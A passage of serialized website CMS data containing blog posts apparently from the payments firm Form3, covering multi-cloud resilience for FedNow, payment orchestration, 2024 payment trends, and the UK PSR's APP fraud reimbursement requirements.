provider. If they were to suffer some kind of technical issue or complete outage, then your ability to meet your customer’s payment needs would be seriously affected. And a full cloud outage would have a catastrophic impact on the economy; there are only a handful of cloud providers servicing the industry, all of which have a large volume of payments flowing through them. ",[],{"type":25,"text":13995,"spans":13996,"direction":445},"Cloud providers typically operate sets of data centers (called Availability Zones or AZs), spread across one region. If there were a failure affecting all the AZs in that region, payment services that are operated in that particular region would become unavailable. In such a scenario the financial institutions and payment service providers would fail over to an alternate solution – like another cloud region or physical data centers for the duration of the outage. Such fail overs can take hours to achieve – causing major disruption to the availability of payment services.",[],"rich_text$f219f583-9192-4008-99cd-c87f7ba733c9",{"variation":437,"version":438,"items":13999,"primary":14000,"id":14020,"slice_type":468,"slice_label":5},[],{"body":14001},[14002,14005,14008,14011,14014,14017],{"type":988,"text":14003,"spans":14004,"direction":445},"Why three clouds are better than one",[],{"type":25,"text":14006,"spans":14007,"direction":445},"When it comes to ensuring resiliency and availability of services, using one cloud provider is risky. Everything depends on that one provider, which may ensure data and systems security, balanced costs, scalability and other benefits that a single-cloud strategy may not provide. ",[],{"type":25,"text":14009,"spans":14010,"direction":445},"That’s why it’s not advisable to put all your trust in just one cloud, but to spread efforts among multiple providers instead. Rather than relying on just Amazon Web Services, or Google Cloud Platform, or Microsoft Azure, using all three can solve the resiliency and availability issues of using a single cloud provider – but only if done in the right way. ",[],{"type":25,"text":14012,"spans":14013,"direction":445},"The gold standard multi-cloud approach, pioneered by Form3, uses cloud-agnostic technology to plug a bank’s payment platform into three cloud providers. If one cloud provider suffers an outage, payments can still flow uninterrupted. The payments data is fully synchronized across the three clouds, meaning customers can always access accurate information about their payments across cloud endpoints.",[],{"type":25,"text":14015,"spans":14016,"direction":445},"The multi-cloud approach can survive a cloud region failure or full cloud provider outage, while also overcoming the concentration risk of having a high volume of payments going through just one provider. Regulators and the Fed are likely to look more favorably on payment platforms run on the multi-cloud principle for this very reason. ",[],{"type":25,"text":14018,"spans":14019,"direction":445},"And this leads us neatly into another area where the multi-cloud approach is beneficial: avoiding cloud provider lock-in. Regulators are closely monitoring the cloud services industry to ensure that one provider doesn't establish a monopoly, or tie clients into unfair or overly expensive contracts. Any banks that are signed up to a single provider need to have a viable exit strategy; using cloud agnostic technologies is vital for a seamless switch between providers.  ",[],"rich_text$61cb501b-c4f6-4a0d-8ac3-126bb451af07",{"variation":437,"version":438,"items":14022,"primary":14023,"id":14039,"slice_type":468,"slice_label":5},[],{"body":14024},[14025,14028,14031,14034],{"type":988,"text":14026,"spans":14027,"direction":445},"Multi-cloud is the best way to meet the Fed’s requirements",[],{"type":25,"text":14029,"spans":14030,"direction":445},"A multi-cloud approach is the most logical way of bringing your bank in-line with the requirements set out for membership of FedNow. If you rely on a single cloud provider and they suffer a technical problem or outage, then the Fed and the Reserve Banks are going to hold you responsible. Using multiple clouds means you always have a backup.",[],{"type":25,"text":14032,"spans":14033,"direction":445},"FedNow also has some fairly strict rules around when maintenance can take place on infrastructure that is necessary for supporting real-time payments, but using a multi-cloud approach means that any maintenance required can be carried out on each cloud with little risk, as payments can still flow through the others. There’s no disruption to your 24\u002F7 real-time payments service and everyone’s happy; the Fed, the regulators, you, and most important of all – your customers.",[],{"type":25,"text":14035,"spans":14036,"direction":445},"If you want to get further advice on improving your business’ operational resiliency and availability, or to find out more about how Form3’s multi-cloud approach can help your bank move into the real-time payments future, sign up for our webinar – Navigating the Integration and Resilience of New Payment Schemes: Strategies for Success in the Era of APIs and Cloud Technology at 1:00PM eastern on May 10.",[14037],{"start":9295,"end":3775,"type":489,"data":14038},{"link_type":491,"url":13979,"target":493},"rich_text$e88293e9-6e07-44cd-86a7-68778c117054",{"id":14041,"uid":14042,"type":3743,"data":14043},"alzytxEAACgAUWHC","misconceptions-of-payment-orchestration",{"title":14044,"excerpt":14045,"card_image":14046,"published_date":14052,"reading_time":418,"tag":3751,"dek":14053,"featured_image":14054,"about_form3":14060,"client_about_heading":5,"client_about_body":14061,"author_name":5,"author_title":5,"author_photo":14062,"author_bio":14063,"author_linkedin":14064,"slices":14065,"meta_title":14044,"meta_description":14045},"Misconceptions of payment orchestration and how it can drive value across the payments landscape","Over the last few decades, banks and financial institutions have created large technology estates to support a range of different types of payments to meet their customers’ needs. These have become more complex over the years as technical, customer and regulatory requirements evolve, leading to something of a Spaghetti Junction with multiple legacy systems and ancillary systems all connected to one another through various middleware layers.",{"dimensions":14047,"alt":14048,"copyright":5,"url":14049,"id":14050,"edit":14051},{"width":412,"height":412},"Payment Orchestration","\u002F_prismic-media\u002F69faebbe6f3a513b-JwnmbYCU2i_cjwbx_misconceptions-of-payment-orche.jpg","JwnmbYCU2i_cjwbx",{"x":398,"y":398,"zoom":399,"background":650},"2024-03-06","Over the last few decades, banks and financial institutions have created large technology estates to support a range of different types of payments to meet their customers’ needs. These have become more complex over the years as technical, customer and regulatory requirements evolve, leading to something of a Spaghetti Junction with multiple legacy systems and ancillary systems all connected to one another through various middleware layers.  The resulting complexity causes a number of problems. It’s costly to run and maintain for a start, while upgrading these estates to accommodate new types of payments and meet customer expectations brings additional expense, time and complication.On top of this, handling payment exceptions often requires manual intervention, causing delays and inefficiencies, even if the flow is relatively simple and straightforward as is the case for domestic payment flows. For many scenarios, these legacy payment systems are unable to automatically handle these exceptions.  In order to overcome these challenges and mordernise technology stacks for future payment propositions and requirements, simplification is required. Therefore, many financial institutions are looking to orchestration solutions as they create event-driven, micro service-based architectures that provide the agility they need to drive them on their payment modernisation journeys.",{"dimensions":14055,"alt":14056,"copyright":5,"url":14057,"id":14058,"edit":14059},{"width":501,"height":646},"Payment Modernization","\u002F_prismic-media\u002Fc7325e0ba8444026-Mo6LOf6-2jUXAuKt_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","Mo6LOf6-2jUXAuKt",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[14066,14083,14097,14111,14128,14142],{"variation":437,"version":438,"items":14067,"primary":14068,"id":14082,"slice_type":468,"slice_label":5},[],{"body":14069},[14070,14073,14076,14079],{"type":988,"text":14071,"spans":14072,"direction":445},"Orchestration is a key tool for supporting payments",[],{"type":25,"text":14074,"spans":14075,"direction":445},"Payment orchestration solutions can help a bank simplify its technology estate by connecting all of its legacy and ancillary services and systems through an integration layer. This enables more effective change management, and better control over payment processing steps and outcomes, which can be tailored to all of the bank's different customer propositions and payment flows.  ",[],{"type":25,"text":14077,"spans":14078,"direction":445},"In the past, orchestration of payment processing wasn’t sufficently considered as a vital capabilty and without leveraging its potential payment estates became huge, bespoke, multi-functional black boxes where all payments would be processed through.  ",[],{"type":25,"text":14080,"spans":14081,"direction":445},"Now, orchestration is much more of an explicit, standalone capability  that banks and software providers are using. Moving towards this event-driven, micro service-based architecture requires end-to-end visibility and flexible management of payment flows that are centred on the principle of orchestration. These systems represent an efficient, adaptable and transparent infrastructure that is easy to add or  remove components without causing unnecessary complexity – much more appropriate for the fast-changing payments landscape. ",[],"rich_text$dd449a2f-024e-4c6e-9bf4-43239a65407a",{"variation":437,"version":438,"items":14084,"primary":14085,"id":14096,"slice_type":468,"slice_label":5},[],{"body":14086},[14087,14090,14093],{"type":988,"text":14088,"spans":14089,"direction":445},"Misconceptions around orchestration in payments",[],{"type":25,"text":14091,"spans":14092,"direction":445},"There are some misconceptions around what the term ‘orchestration’ refers to in payments that have muddied the water somewhat. As explained above, orchestration used to be something that goes on behind the scenes, but is now an explicit, standalone capability of new banking technologies.  ",[],{"type":25,"text":14094,"spans":14095,"direction":445},"It’s also a term that’s been used in recent years across the cards space as a solution for banks supporting merchants, managing the entire cards process to support multiple card issuers, schemes and methods.  However, the orchestration that we are referring to here is in the account-to-account payment space, where banks want to offer their customers many different payment propositions whilst simplifying their technology estates.   ",[],"rich_text$fe42382c-ae90-48b2-bc68-bb14b7014d3f",{"variation":437,"version":438,"items":14098,"primary":14099,"id":14110,"slice_type":468,"slice_label":5},[],{"body":14100},[14101,14104,14107],{"type":988,"text":14102,"spans":14103,"direction":445},"How orchestration can drive efficiency and ROI",[],{"type":25,"text":14105,"spans":14106,"direction":445},"Payment orchestration solutions consist of a single integration layer for all payment and core banking systems. This allows for the streamlining of payment system management, while also cutting down on the time and expense involved in payment flow changes. Through investment in orchestration solutions, a financial institution can put itself in a better position to react to market changes or new customer demands, as it will be able to implement the necessary processes and flows quickly and at a lower cost. ",[],{"type":25,"text":14108,"spans":14109,"direction":445},"Additionally, orchestration solutions allow payment exceptions to be automated, eliminating the need for complex payment hubs for domestic payments. This simplification of payment pathways brings cost savings through efficiency. This reduces the complexity of the bank’s payments estate, and therefore the cost of managing and running their technology stack.     ",[],"rich_text$2d905bd3-5884-4ab0-bbef-4141f6a8bfa6",{"variation":437,"version":438,"items":14112,"primary":14113,"id":14127,"slice_type":468,"slice_label":5},[],{"body":14114},[14115,14118,14121,14124],{"type":988,"text":14116,"spans":14117,"direction":445},"Orchestration as an enabler for instant payments",[],{"type":25,"text":14119,"spans":14120,"direction":445},"When it comes to global instant payments, such as Faster Payments Service (FPS), Sepa Instant, RTP and FedNow, an orchestration layer can help banks to maintain high service levels even in the event of failed payments. Take for example the case of an incoming payment which has been accepted by the bank, having matched all the validation, but then hasn’t been posted to the customer’s account. This would usually result in an exception that would have to be manually resolved.  ",[],{"type":25,"text":14122,"spans":14123,"direction":445},"In the vast majority of these cases, the cause of these issues are highly predictable. A payment orchestration solution can intelligently try to address these common issues – for instance, by looking up information on another system to enrich the payment data, putting the payment step on hold until the issue is resolved, or automatically returning the payment – resulting in fewer failed payments and fewer unhappy customers.  ",[],{"type":25,"text":14125,"spans":14126,"direction":445},"In markets like the US, where instant payments are just beginning to come into the mainstream, these solutions can be invaluable. With payment orchestration layers in place, complex flows can be streamlined and automated, reducing failed payments and the impacts on customers.",[],"rich_text$343235a0-f59a-4111-ace3-7aa12d0a297c",{"variation":437,"version":438,"items":14129,"primary":14130,"id":14141,"slice_type":468,"slice_label":5},[],{"body":14131},[14132,14135,14138],{"type":988,"text":14133,"spans":14134,"direction":445},"Using orchestration to adapt to regulations",[],{"type":25,"text":14136,"spans":14137,"direction":445},"With the momentum we have seen in recent years in various different markets to rebuild central payment infrastructures – such as RTP or FedNow in the US, and the New Payments Architecture in the UK – banks are having to rethink their payment technology estates and ensure that their architecture is future-proofed against new regulations.  ",[],{"type":25,"text":14139,"spans":14140,"direction":445},"If banks have an effective orchestration layer in place, then changes to central infrastructure don’t require complex, impactful and costly changes to the whole of the technology stack. Any future regulatory changes, similarly, won’t need financial institutions to overhaul the way their central systems work.  ",[],"rich_text$cb72cedd-6866-4231-bf36-bf0e45c12351",{"variation":437,"version":438,"items":14143,"primary":14144,"id":14155,"slice_type":468,"slice_label":5},[],{"body":14145},[14146,14149,14152],{"type":988,"text":14147,"spans":14148,"direction":445},"How payment orchestration will develop in the future",[],{"type":25,"text":14150,"spans":14151,"direction":445},"While they largely cover domestic payments at the moment, in theory orchestration layers could evolve to interact with all payment gateways and support any payment process in the future. There's no technical blockers to stop this from happening, and as banks get to grips with the first stages of orchestration – and have clear proof points of its benefits – they will begin to look for other use cases to apply it to.  ",[],{"type":25,"text":14153,"spans":14154,"direction":445},"And that's the really exciting thing about orchestration; we don't yet know what the forthcoming use cases of this technology will be because they haven't been dreamed up yet. But like people didn't realise that they needed colour TV until it was invented, there are bound to be paradigm-shifting innovations that will define the future of payments coming somewhere along the line. So while orchestration is something that all banks and financial institutions should be looking at to solve their current payment challenges, they should also understand that it will provide a foundation for their future payment products and services.  ",[],"rich_text$0111f6cc-9942-415c-baf5-0eca9e2c9d8d",{"id":14157,"uid":14158,"type":3743,"data":14159},"alzyyxEAAC4AUWHw","what-banks-and-psps-need-to-do-in-2024-to-enable-seamless-payments",{"title":14160,"excerpt":14161,"card_image":14162,"published_date":14168,"reading_time":418,"tag":5813,"dek":14169,"featured_image":14170,"about_form3":14171,"client_about_heading":5,"client_about_body":14172,"author_name":5,"author_title":5,"author_photo":14173,"author_bio":14174,"author_linkedin":14175,"slices":14176,"meta_title":14160,"meta_description":14161},"What banks and PSPs need to do in 2024 to enable seamless payments","We’ve seen significant improvements in payment services over the course of 2023 as many financial institutions continue with their journey of digital transformation. As we move into 2024, there are some big shifts coming in the payments marketplace both in the UK and globally as banks and payment service providers (PSPs) prepare for new central infrastructure.",{"dimensions":14163,"alt":14164,"copyright":5,"url":14165,"id":14166,"edit":14167},{"width":412,"height":412},"2024 Predictions","\u002F_prismic-media\u002F98b180f7f6d4e4af-SnVM3RupTg-U2inI_what-banks-and-psps-need-to-do-.png","SnVM3RupTg-U2inI",{"x":398,"y":398,"zoom":399,"background":400},"2024-01-11","We’ve seen significant improvements in payment services over the course of 2023 as many financial institutions continue with their journey of digital transformation. As we move into 2024, there are some big shifts coming in the payments marketplace both in the UK and globally as banks and payment service providers (PSPs) prepare for new central infrastructure.As new payment infrastructures are rolled out globally banks and PSPs are considering what kind of services will be enabled and how they can update and upgrade their own product sets accordingly. They’ll be looking at the use cases that their customers want and need, whether these are based on request to pay, for example, direct debit pull payments or real-time payments, to bring better security and functionality.So, the focus for banks and PSPs over the next 12 months will be on understanding how the central markets and infrastructure is changing, and how this plays back into their own innovation agendas. To that end, here’s three of the key trends they’ll need to keep an eye on.",{},[],[],{},[],{"link_type":434},[14177,14194,14211,14228],{"variation":437,"version":438,"items":14178,"primary":14179,"id":14193,"slice_type":468,"slice_label":5},[],{"body":14180},[14181,14184,14187,14190],{"type":988,"text":14182,"spans":14183,"direction":445},"Increased payments digitalization",[],{"type":25,"text":14185,"spans":14186,"direction":445},"While the recent COVID-19 pandemic and lockdowns acted as a catalyst to shift a large volume of payments away from paper – cash or cheque – to electronic payments, banks must do a better job of communicating how the economics of this works for all players involved. There are hidden costs typically associated with cash and cheque payments, but with electronic payments the costs incurred by those sending or receiving the payment are much clearer. There is a real need for educating society on the costs of paper-based transactions. Digital payments enable greater transparency that will help everyone to understand where payments go; bring clarity to issues like taxation; and even make it easier to spot potential fraud.",[],{"type":25,"text":14188,"spans":14189,"direction":445},"Banks and PSPs must look at the payment products they haven’t yet digitalised and ask themselves why they haven’t yet done so. Have they possibly been stuck in outdated modes of thinking that lead them to believe that customers, particularly of the older generation, will be resistant to a digital transition? Is there the potential to do better job of articulating the benefits of making payments digital to their customer base?",[],{"type":25,"text":14191,"spans":14192,"direction":445},"If banks and PSPs truly believe in the benefits of digitalization then they must find new ways they can make this shift work. They’ll also need to be aware of their own internal limitations in terms of whether they have the infrastructure to develop new payment packages for customers, thinking about how they connect to external architecture and handle the volumes and peaks in demand.",[],"rich_text$d2aaeec1-fd95-424c-bfb8-8921059550f0",{"variation":437,"version":438,"items":14195,"primary":14196,"id":14210,"slice_type":468,"slice_label":5},[],{"body":14197},[14198,14201,14204,14207],{"type":988,"text":14199,"spans":14200,"direction":445},"The acceleration of real-time payment methods in 2024",[],{"type":25,"text":14202,"spans":14203,"direction":445},"Relatively speaking, real-time payments have been around in the UK for a long time, but in 2024 we are likely to see them grow further, with banks and PSPs looking at how they can use central infrastructure to package up and create new real-time payment products. For example, we will see more experimentation with account-to-account and real-time payments at the point of sale; and it’s highly likely that we will see more propositions that allow account-to-account payments online.",[],{"type":25,"text":14205,"spans":14206,"direction":445},"Banks in different jurisdictions will be seeing different dynamics when it comes to levels of demand in real-time payments. In the UK, there’s more emphasis on banks understanding what customers want and how they can offer these services in a beneficial way, while in the US, with TCH and the recently launched FedNow, it’s more about an increased desire to move payments away from batch services into real time.",[],{"type":25,"text":14208,"spans":14209,"direction":445},"Ultimately, this means banks have to focus on their back offices. In the past, when banks had three days to process a payment, what happened in the back office was somewhat opaque to the customer. With the shift to real-time, these processes immediately become transparent. It’s essential the banks have the right processes in place to support real-time payments, so the money arrives where it should at the right time. Customers have banking apps that let them see the status of payments instantly, so that information flow is important to get right.",[],"rich_text$8bcecbd5-66f7-4445-a9b2-6e0a604dc3e6",{"variation":437,"version":438,"items":14212,"primary":14213,"id":14227,"slice_type":468,"slice_label":5},[],{"body":14214},[14215,14218,14221,14224],{"type":988,"text":14216,"spans":14217,"direction":445},"The rise of fraud driven by digitalization",[],{"type":25,"text":14219,"spans":14220,"direction":445},"The digitalization of banking and move to real-time payments is inevitably going to lead to an increase in fraud attempts. If banks want to drive customers on a digital journey, then fraud must be at the top of their agenda. The speed at which fraud can be committed in a real-time payment environment is frightening, so banks and PSPs will need to work hard on building consumer confidence if they want them to move away from legacy payment methods.",[],{"type":25,"text":14222,"spans":14223,"direction":445},"This could lead to some payments shifting away from cards to account-to-account based payments. Managing expectations on the level of protection they get on their cards, and from account-to-account payments will also be something banks need to think about to ensure they get their value proposition right for both customers and merchants.",[],{"type":25,"text":14225,"spans":14226,"direction":445},"Though it is hugely challenging, the best way of tackling fraud is to use multiple sources of data. Banks need to think holistically about what these sources of information are and how they get access to them in real time. They’ll need to consider all of the different payment types and the different data sources that would be appropriate for these purposes. Then they have to bring all of these sources together, still in as near real-time as possible, so they can spot patterns of attempted fraud and shut them down as soon as they happen.",[],"rich_text$18e274ad-a1dc-4e66-9999-2d56e7a44821",{"variation":437,"version":438,"items":14229,"primary":14230,"id":14238,"slice_type":468,"slice_label":5},[],{"body":14231},[14232,14235],{"type":988,"text":14233,"spans":14234,"direction":445},"Takeaway: Making the best of the expanding real-time payments environment",[],{"type":25,"text":14236,"spans":14237,"direction":445},"There’s plenty for banks and PSPs to think about as they move into 2024. Providing the best possible payment services for customers revolves around making good use of the existing central architecture, while making sure that back end systems are in a fit state to handle an increasing number of real-time payments. It’s crucial, too, that they also prepare for the inevitable rise in fraud attempts that will come hand-in-hand with the expanding real-time payments environment. Building consumer confidence must be at the core of banks’ and PSPs’ strategies in 2024, as they lead their customers into the brave new world of seamless payments.",[],"rich_text$9faead8e-342d-4210-aba4-6c8f7a466f84",{"id":14240,"uid":14241,"type":3743,"data":14242},"alzzQhEAAC0AUWMB","psr-changes",{"title":14243,"excerpt":14244,"card_image":14245,"published_date":14250,"reading_time":905,"tag":419,"dek":14244,"featured_image":14251,"about_form3":14258,"client_about_heading":5,"client_about_body":14259,"author_name":5,"author_title":5,"author_photo":14260,"author_bio":14261,"author_linkedin":14262,"slices":14263,"meta_title":14243,"meta_description":14244},"Publication of new reimbursement requirement from PSR","On the 7th June 2023 the PSR announced further details on the reimbursement requirements under the wider consultation into APP Fraud. The publication sets out both clarifications and further topics for consultation, as well as an update on timings.",{"dimensions":14246,"alt":14243,"copyright":5,"url":14247,"id":14248,"edit":14249},{"width":412,"height":412},"\u002F_prismic-media\u002F1ee74a277bbb16a8-hrUPtmVW9nOYnXTV_psr-changes.png","hrUPtmVW9nOYnXTV",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-09",{"dimensions":14252,"alt":5,"copyright":5,"url":14255,"id":14256,"edit":14257},{"width":14253,"height":14254},3840,1203,"\u002F_prismic-media\u002F34c06de86a42c302-GQXz6ylPH8j656Bg_ce234d98-fd39-4cec-b03b-a719468.png","GQXz6ylPH8j656Bg",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[14264,14287,14305,14336,14357,14375,14402,14423,14444,14462,14483,14498,14516],{"variation":437,"version":438,"items":14265,"primary":14266,"id":14286,"slice_type":468,"slice_label":5},[],{"body":14267},[14268,14271,14274,14277,14280,14283],{"type":988,"text":14269,"spans":14270,"direction":445},"Key Messages and impacts:",[],{"type":3373,"text":14272,"spans":14273,"direction":445},"The new reimbursement requirements will come into force in 2024 – the specific start date will be part of a wider range of consultation commencing in early Q3, 2023.",[],{"type":3373,"text":14275,"spans":14276,"direction":445},"The expectation is that with the already published information that PSP’s start work now to implement the reimbursement requirements.",[],{"type":3373,"text":14278,"spans":14279,"direction":445},"The proposed de-minimis level of £35 for claims has been removed and will be replaced by a new excess (details to be agreed post Q3, 2023 consultation).",[],{"type":3373,"text":14281,"spans":14282,"direction":445},"The time for the sending PSP to decide on a claim has been increased from 48 hours to 5 working days.",[],{"type":3373,"text":14284,"spans":14285,"direction":445},"Guidance has been issued around the protection for vulnerable customers as part of the reimbursement requirements.",[],"rich_text$7416a282-96e8-41e0-9d43-be54e30d7a87",{"variation":437,"version":438,"items":14288,"primary":14289,"id":14304,"slice_type":468,"slice_label":5},[],{"body":14290},[14291,14294,14298,14301],{"type":988,"text":14292,"spans":14293,"direction":445},"What is in scope of the regulation?",[],{"type":25,"text":14295,"spans":14296,"direction":445},"Annex 3, Question 3",[14297],{"start":398,"end":6262,"type":765},{"type":3373,"text":14299,"spans":14300,"direction":445},"The PSR have confirmed that all categories of APP fraud will be in-scope of the regulation where the payment is sent and received by a PSP in the UK using the Faster Payments System – including Payment Initiation Service (PIS) transactions.",[],{"type":3373,"text":14302,"spans":14303,"direction":445},"Additionally, the PSR recognises that the expansion outside of the current scope of payments (for instance – other payment schemes), whilst providing greater incentive for PSPs to act against fraud would lead to both higher implementation costs and delays to the implementation of the proposed standards.",[],"rich_text$caa013c8-ad00-46d3-946b-30885f677916",{"variation":437,"version":438,"items":14306,"primary":14307,"id":14335,"slice_type":468,"slice_label":5},[],{"body":14308},[14309,14312,14316,14319,14329,14332],{"type":988,"text":14310,"spans":14311,"direction":445},"Proving customer “Gross Negligence”",[],{"type":25,"text":14313,"spans":14314,"direction":445},"Annex 3, Question 4, 5 & 6",[14315],{"start":398,"end":5574,"type":765},{"type":3373,"text":14317,"spans":14318,"direction":445},"The PSR have confirmed that their expectation is that gross negligence will only be applied in a “small number of cases”, and where gross negligence is suspected, it is the requirement of the PSP to prove the gross negligence.",[],{"type":3373,"text":14320,"spans":14321,"direction":445},"The level of cases that are being overturned by the Financial Services Ombudsman, in relation to APP Fraud, as per the Contingent Reimbursement Model (CRM Code) has decreased from 73% to 50% (2020\u002F1 vs 2021\u002F2), however still remainsa high level of overturn rate resulting in a length wait for customer settlement and reimbursement.",[14322,14325],{"start":1251,"end":3872,"type":489,"data":14323},{"link_type":491,"url":14324,"target":493},"https:\u002F\u002Fwww.financial-ombudsman.org.uk\u002F",{"start":14326,"end":2675,"type":489,"data":14327},151,{"link_type":491,"url":14328,"target":493},"https:\u002F\u002Fwww.lendingstandardsboard.org.uk\u002Fcrm-code\u002F",{"type":3373,"text":14330,"spans":14331,"direction":445},"The PSR have provided clarity in relation to vulnerable customers, and where a customer is deemed vulnerable the sending PSP must not apply the principle of gross negligence to the claim. ",[],{"type":3373,"text":14333,"spans":14334,"direction":445},"By aligning the rules regarding vulnerability with the FCA’s approach, the PSR is ensuring consistent outcomes for customers are achieved.",[],"rich_text$d7dce60b-b409-4af4-866e-97008fbbdd62",{"variation":437,"version":438,"items":14337,"primary":14338,"id":14356,"slice_type":468,"slice_label":5},[],{"body":14339},[14340,14343,14347,14350,14353],{"type":988,"text":14341,"spans":14342,"direction":445},"Excesses applicable to reimbursement",[],{"type":25,"text":14344,"spans":14345,"direction":445},"Annex 3, Question 7 & 8",[14346],{"start":398,"end":4023,"type":765},{"type":3373,"text":14348,"spans":14349,"direction":445},"The original principle proposed a minimum value of £35 under which a customer would not be able to make a claim for reimbursement.",[],{"type":3373,"text":14351,"spans":14352,"direction":445},"A revised approach of a claim excess is instead proposed and will be part of a round of consultations which will occur in Q3, 2023. The PSR have confirmed that any excess that is agreed is optional at a PSP level.",[],{"type":3373,"text":14354,"spans":14355,"direction":445},"Any claim excess which can be applied, will not apply to vulnerable customers.",[],"rich_text$61089534-6a4b-43b5-8a69-49249b3f61c9",{"variation":437,"version":438,"items":14358,"primary":14359,"id":14374,"slice_type":468,"slice_label":5},[],{"body":14360},[14361,14364,14368,14371],{"type":988,"text":14362,"spans":14363,"direction":445},"Maximum threshold level of a claim",[],{"type":25,"text":14365,"spans":14366,"direction":445},"Annex 3, Question 9",[14367],{"start":398,"end":6262,"type":765},{"type":3373,"text":14369,"spans":14370,"direction":445},"The PSR have confirmed that they intend to introduce a maximumlevel of reimbursement for individual claims.",[],{"type":3373,"text":14372,"spans":14373,"direction":445},"The maximum level of reimbursement will be subject to industry consultation in Q3, 2023",[],"rich_text$02f9b242-d668-40ab-a6fa-d9110f27d99e",{"variation":437,"version":438,"items":14376,"primary":14377,"id":14401,"slice_type":468,"slice_label":5},[],{"body":14378},[14379,14382,14386,14389,14392,14395,14398],{"type":988,"text":14380,"spans":14381,"direction":445},"Speed and responsibility for customer reimbursement",[],{"type":25,"text":14383,"spans":14384,"direction":445},"Annex 3, Questions10 & 11",[14385],{"start":398,"end":1066,"type":765},{"type":3373,"text":14387,"spans":14388,"direction":445},"The time in which a claim can be made is to be aligned to the wider 2017 PSR Standards – which is set as 13 months from the final payment being claimed for.",[],{"type":3373,"text":14390,"spans":14391,"direction":445},"PSP’s can at their own discretion make reimbursement outside of this window.",[],{"type":3373,"text":14393,"spans":14394,"direction":445},"Customers can only claim under the reimbursement requirement from the effective date of the regulations, regardless of the 13-month condition.",[],{"type":3373,"text":14396,"spans":14397,"direction":445},"The sending PSP is responsible for assessing the claim and making reimbursement to the customer.",[],{"type":3373,"text":14399,"spans":14400,"direction":445},"The time limit for reimbursing customers has been increased from 48 hours to 5 working days. This clock can be pauses for specific actions that are required within the investigation into the customer claim.",[],"rich_text$3b836775-a10d-4e39-a706-1c0fd020597c",{"variation":437,"version":438,"items":14403,"primary":14404,"id":14422,"slice_type":468,"slice_label":5},[],{"body":14405},[14406,14409,14413,14416,14419],{"type":988,"text":14407,"spans":14408,"direction":445},"PSP Liability Split",[],{"type":25,"text":14410,"spans":14411,"direction":445},"Annex 3, Questions 13 & 14",[14412],{"start":398,"end":5574,"type":765},{"type":3373,"text":14414,"spans":14415,"direction":445},"The PSR have confirmed that the liability split will remain by default 50:50 between the sending and receiving PSP’s.",[],{"type":3373,"text":14417,"spans":14418,"direction":445},"Pay.uk will be responsible for the operational guidance and reimbursement between PSPs, including the timely obligation for receiving PSPs to reimburse sending PSPs.",[],{"type":3373,"text":14420,"spans":14421,"direction":445},"Initially there will be no mechanism to depart from the 50:50 liability split – pay.uk will be working on options for a refined cost allocation model in the future.",[],"rich_text$0d589ca0-5443-4190-8520-c6958d5b6668",{"variation":437,"version":438,"items":14424,"primary":14425,"id":14443,"slice_type":468,"slice_label":5},[],{"body":14426},[14427,14430,14434,14437,14440],{"type":988,"text":14428,"spans":14429,"direction":445},"The role of Pay.UK as Payment Systems Operator (PSO)",[],{"type":25,"text":14431,"spans":14432,"direction":445},"Annex 3, Questions 21 & 22",[14433],{"start":398,"end":5574,"type":765},{"type":3373,"text":14435,"spans":14436,"direction":445},"There are limitations to the ability of pay.uk to fully fulfil the role of PSO – specifically around the ability to enforce scheme rules to indirect participants.",[],{"type":3373,"text":14438,"spans":14439,"direction":445},"Scheme rules will be overlaid with a general direction requiring all Faster Payments participants to comply with the rules.",[],{"type":3373,"text":14441,"spans":14442,"direction":445},"Pay.uk will create and implement a compliance monitoring regime for all in-scope PSP’s, including indirect participants. All in-scope PSP’s will be required to provide data to pay.uk across a range of data points.",[],"rich_text$5d45876f-adb7-4163-8db0-104c99265285",{"variation":437,"version":438,"items":14445,"primary":14446,"id":14461,"slice_type":468,"slice_label":5},[],{"body":14447},[14448,14451,14455,14458],{"type":988,"text":14449,"spans":14450,"direction":445},"Indirect PSP vs Indirect Access Providers",[],{"type":25,"text":14452,"spans":14453,"direction":445},"Annex 3, Questions 25 & 26",[14454],{"start":398,"end":5574,"type":765},{"type":3373,"text":14456,"spans":14457,"direction":445},"The liability for reimbursement regarding APP Fraud is to reside with the PSP involved, rather than their access provider in an indirect access provider.",[],{"type":3373,"text":14459,"spans":14460,"direction":445},"The appropriate enforcement and regulatory changes will be applied to ensure that all firms (both direct and indirect) will comply with the relevant Faster Payment rules, and subsequently their responsibility under APP Fraud reimbursement.",[],"rich_text$df1e0ca1-e9fb-4b1d-82c9-63d5db221dba",{"variation":437,"version":438,"items":14463,"primary":14464,"id":14482,"slice_type":468,"slice_label":5},[],{"body":14465},[14466,14469,14473,14476,14479],{"type":988,"text":14467,"spans":14468,"direction":445},"Additional Feedback being considered post consultation.",[],{"type":25,"text":14470,"spans":14471,"direction":445},"Annex 3, Question 28 ",[14472],{"start":398,"end":7460,"type":765},{"type":3373,"text":14474,"spans":14475,"direction":445},"Intelligence Sharing remains a key focus to improve fraud prevention.",[],{"type":3373,"text":14477,"spans":14478,"direction":445},"The wider ecosystem (outside of PSPs) has a key role to play in fighting APP Fraud",[],{"type":3373,"text":14480,"spans":14481,"direction":445},"Delaying payments –where high levels of risk are identified, PSPs should deploy appropriate interventions to pause, delay and stop suspicious payments. The Treasury is examining the best way to allow PSPs to adopt a risk-based approach to inbound and outbound payment processing.",[],"rich_text$f7e54481-a798-468e-86a9-fc899c6e990e",{"variation":437,"version":438,"items":14484,"primary":14485,"id":14497,"slice_type":468,"slice_label":5},[],{"body":14486},[14487,14490,14494],{"type":988,"text":14488,"spans":14489,"direction":445},"Increased Intelligence Sharing",[],{"type":25,"text":14491,"spans":14492,"direction":445},"Annex 4, Section 1.5",[14493],{"start":398,"end":7460,"type":765},{"type":3373,"text":14495,"spans":14496,"direction":445},"The PSR, in their baseline scenario analysis, are assuming that the Enhanced Fraud Data (EFD) system will be delivered by, pay.uk with support from UK Finance, and PSPs to start to implement aspects of the system by the end of 2023.",[],"rich_text$e8cf445a-4f50-4519-813d-d4d0b5c11a3a",{"variation":437,"version":438,"items":14499,"primary":14500,"id":14515,"slice_type":468,"slice_label":5},[],{"body":14501},[14502,14505,14509,14512],{"type":988,"text":14503,"spans":14504,"direction":445},"Costs to PSPs for reimbursement",[],{"type":25,"text":14506,"spans":14507,"direction":445},"Annex 4, Section 1.69 & 1.70",[14508],{"start":398,"end":9704,"type":765},{"type":3373,"text":14510,"spans":14511,"direction":445},"The PSR have outlined the 3 perspectives around reimbursement 